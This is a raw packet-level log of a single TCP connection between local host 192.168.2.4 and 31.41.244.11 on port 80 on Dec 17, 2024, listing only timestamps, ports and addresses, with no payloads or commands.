Dec 17, 2024 22:06:25.064810991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.065732956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.065747023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.065809011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.066740990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.066792965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.066916943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.067819118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.067871094 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.067909002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.068718910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.068777084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.068861008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.068906069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.069730043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.069781065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.069833040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.070709944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.070800066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.070854902 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.071727037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.071815014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.071875095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.072782993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.072833061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.073012114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.073851109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.073906898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.074174881 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.074723959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.074773073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.074917078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.075757027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.075769901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.075808048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.075845003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.080118895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.080135107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.080178022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.080189943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.080208063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.080219984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.080265999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.080265999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.080265999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.080305099 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.080538034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.080588102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.081152916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.081955910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.081970930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.082010984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.082046032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.082802057 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.082851887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.083034992 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.083081961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.084132910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.084144115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.084199905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.084822893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.084873915 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.085125923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.086014986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.086062908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.226370096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.226387024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.226418018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.226430893 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.226454020 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.226502895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.227381945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.227401018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.227435112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.227471113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.228357077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.228368998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.228405952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.229326010 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.229338884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.229398012 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.230820894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.230834007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.230887890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.230986118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.230998993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.231029034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.231030941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.231040001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.231064081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.231093884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.231872082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.231919050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.232121944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.232162952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.232933998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.233037949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.234291077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.234342098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.234370947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.234392881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.236140966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.236406088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.237907887 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.237920046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.237941027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.237951994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.237976074 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.237993956 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.238291025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.238303900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.238339901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.238372087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.239365101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.239378929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.239423037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.240154028 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.240169048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.240216970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.240324020 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.241596937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.241611004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.241657019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.241723061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.242347956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.242366076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.242389917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.242410898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.243366003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.243376017 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.243424892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.244195938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.244209051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.244265079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.246325970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.246337891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.246370077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.246375084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.246474028 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.246948004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.247023106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.247366905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.247384071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.247411966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.247432947 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.248332977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.248346090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.248372078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.248394966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.249105930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.249191999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.249423981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.249464035 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.250407934 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.250454903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.250941038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.251236916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.251249075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.251283884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.251323938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.252301931 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.252315044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.252373934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.254133940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.254144907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.254187107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.254194975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.254200935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.254213095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.254236937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.254256010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.255286932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.255326033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.255436897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.255569935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.256373882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.256443024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.256860018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.256911993 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.257236958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.257249117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.257292032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.258176088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.258188009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.258290052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.259290934 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.259303093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.259383917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.260183096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.260267973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.260376930 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.261225939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.261240005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.261300087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.262198925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.262521982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.262592077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.263179064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.263191938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.263238907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.264275074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.264322042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.264512062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.264568090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.265101910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.265172005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.265260935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.265393019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.266129017 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.266215086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.266246080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.266427040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.267157078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.267198086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.267327070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.267683029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.268188953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.268502951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.268554926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.269217014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.269237041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.269305944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.270205975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.270556927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.270623922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.271265030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.271447897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.271501064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.272037983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.272291899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.272388935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.273156881 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.273174047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.273210049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.273350954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.273526907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.274138927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.274185896 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.274550915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.274617910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.275166988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.275177956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.275216103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.275233030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.275346041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.275357962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.275384903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.276021004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.276035070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.276084900 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.276108980 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.277030945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.277141094 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.416460991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.416769028 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.416873932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.417114973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.417187929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.417234898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.418113947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.418128967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.418176889 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.419003963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.419389009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.419444084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.419672966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.420517921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.420533895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.420568943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.420593023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.422101021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.422116995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.422167063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.422939062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.422950983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.423006058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.423274994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.423358917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.423407078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.424289942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.424405098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.424455881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.425352097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.425401926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.425489902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.426335096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.426383018 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.426389933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.427010059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.427366018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.427690029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.427740097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.428431034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.428498030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.428560972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.429470062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.429522991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.429673910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.430522919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.430533886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.430572987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.431303978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.431478024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.431524038 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.432287931 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.433456898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.433484077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.433520079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.433535099 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.433571100 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.434819937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.434834003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.434885025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.435364008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.435375929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.435415983 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.436392069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.436403990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.436434031 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.437346935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.437594891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.437645912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.438374043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.438410997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.438426018 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.438453913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.439387083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.439464092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.439507008 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.440516949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.440529108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.440571070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.441401005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.441440105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.441560030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.442461014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.442476034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:25.442500114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.442524910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:25.445365906 CET	80	49793	31.41.244.11	192.168.2.4
